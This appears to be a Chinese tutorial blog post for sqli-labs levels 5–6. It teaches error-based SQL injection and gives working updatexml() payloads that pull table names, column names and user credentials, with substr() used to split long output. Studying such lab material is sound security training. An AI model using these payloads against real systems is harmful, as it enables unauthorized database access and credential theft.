当前位置: 首页 > news >正文

sqli-labs靶场通关笔记:第5-6关 报错注入

第5关 报错注入

首先判断闭合方式,发现是单引号闭合。

但是新的问题出现了,它页面回显只有正确和报错两种状态,没有回显位,意味着union联合注入攻击不能生效。

只要思想不滑坡,办法总比困难多。这里发现报错的语句也会回显到页面上,那么就可以尝试使用报错注入。

需要用到两个函数,updatexml() 和 extractvalue()函数。

这两个函数都是 MySQL 内置的用于处理 XML 数据的函数,语法如下:

//UPDATEXML函数
UPDATEXML(xml_target, xpath_expr, new_value)//EXTRACTVALUE函数
EXTRACTVALUE(xml_frag, xpath_expr)

updatexml()用于修改,extractvalue()用于查询,两者都严重依赖第二个参数作为 XPath 表达式 来定位或操作 XML 中的特定部分。当提供一个无效的、不符合 XPath 语法规则的字符串作为第二个参数时,函数会执行失败并抛出一个运行时错误。这正是关键点所在,如果在不合法的字符串中构造子查询语句,那么数据库在报错时,会将子查询的结果包含在内。

本关中报错是有回显的,意味着可以利用这两个函数去构造语句来读取回显数据。

1.updatexml()函数构造

?id=1' and updatexml(1,concat(0x7e,(select database())),3) --+

 解释:updatexml()函数需要有三个参数,1和3作为占位符,0x7e是“~”符号的16进制,作用是构造无效的XPath表达式(在XPath 1.0 规范中,表达式不能以操作符开头),concat()起拼接作用,将子查询语句连接到其中。

(1)这里成功查询到当前数据库的名称。

 (2)进一步查询。

//查询数据库中的表
?id=1' and updatexml(1,concat(0x7e,(
select group_concat(table_name) from information_schema.tables where table_schema=database()
)),3) --+
//查询表中字段
?id=1' and updatexml(1,concat(0x7e,(
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
)),3) --+
//查询字段数据
?id=1' and updatexml(1,concat(0x7e,(
select group_concat(username,password) from users
)),3) --+

这里又出现了一个新的问题,MySQL 对错误信息的长度有限制,updatexml()函数最多返回 32 字节。回显的数据不完整。

可以使用substr()函数分段提取数据。

?id=1' and updatexml(1,concat(0x7e,
substr((select group_concat(concat(username,'@',password)) from users),1,10
)),3) --+

 2.extractvalue()函数构造

方法和updatexml()相同。

第6关 双引号闭合的报错注入

解法与上一关相同。

http://www.lryc.cn/news/585328.html

相关文章:

  • [Java 17] 无模版动态生成 PDF:图片嵌入与动态表格渲染实战
  • C++内存泄漏高效定位与排查指南
  • 使用云虚拟机搭建hadoop集群环境
  • Telegraf vs. Logstash:实时数据处理架构中的关键组件对比
  • docker-compose安装常用中间件
  • SpringCloud之Eureka
  • 局域网联机游戏设置跨网跟他人异地联机玩的二种常用实现方法
  • docker 启动中间件
  • OKCC系统源码搭建需要准备什么
  • 制作一款打飞机游戏79:道具拾取系统
  • 前端面试专栏-算法篇:22.树结构(二叉树、B树、红黑树)
  • flex 布局完整功能介绍和示例演示
  • 牛客:HJ17 坐标移动[华为机考][字符串]
  • Umi-OCR 的 Docker(win制作镜像,Linux(Ubuntu Server 22.04)离线部署)
  • Elasticsearch安装、入门、基础API操作、全文检索、精准查询、地理查询、复合查询、排序、分页、高亮、数据聚合、自动补全、数据同步、ES集群
  • 连锁门店如何统一固定资产盘点?总部+门店协同攻略
  • 基于Python的豆瓣图书数据分析与可视化系统【自动采集、海量数据集、多维度分析、机器学习】
  • nginx 负载均衡配置(加解决重复登录问题)
  • 【机器学习】机器学习基础
  • 借助 Wisdom SSH AI 助手,轻松安装 CentOS 8 LNMP 环境
  • 财务数字化——83页麦肯锡——建立成功的财务管理体系【附全文阅读】
  • V少JS基础班之第七弹
  • 人形机器人公司融合Xsens与Manus动作捕捉技术,利用人工智能训练机器人模仿人类动作,以执行复杂任务
  • OGG-00551 ODBC error: SQLSTATE 22007,从字符串转换日期和/或时间时,转换失败
  • JAVA面试宝典 -《Spring Boot 自动配置魔法解密》
  • 【氮化镓】不同偏压应力下电荷俘获效应导致的P-GaN HEMT阈值电压不稳定性
  • JVM方法区的运行时常量区到底存储哪些数据?
  • 【牛客刷题】dd爱科学1.0
  • LeetCode经典题解:128、最长连续序列
  • 从就绪到终止:操作系统进程状态转换指南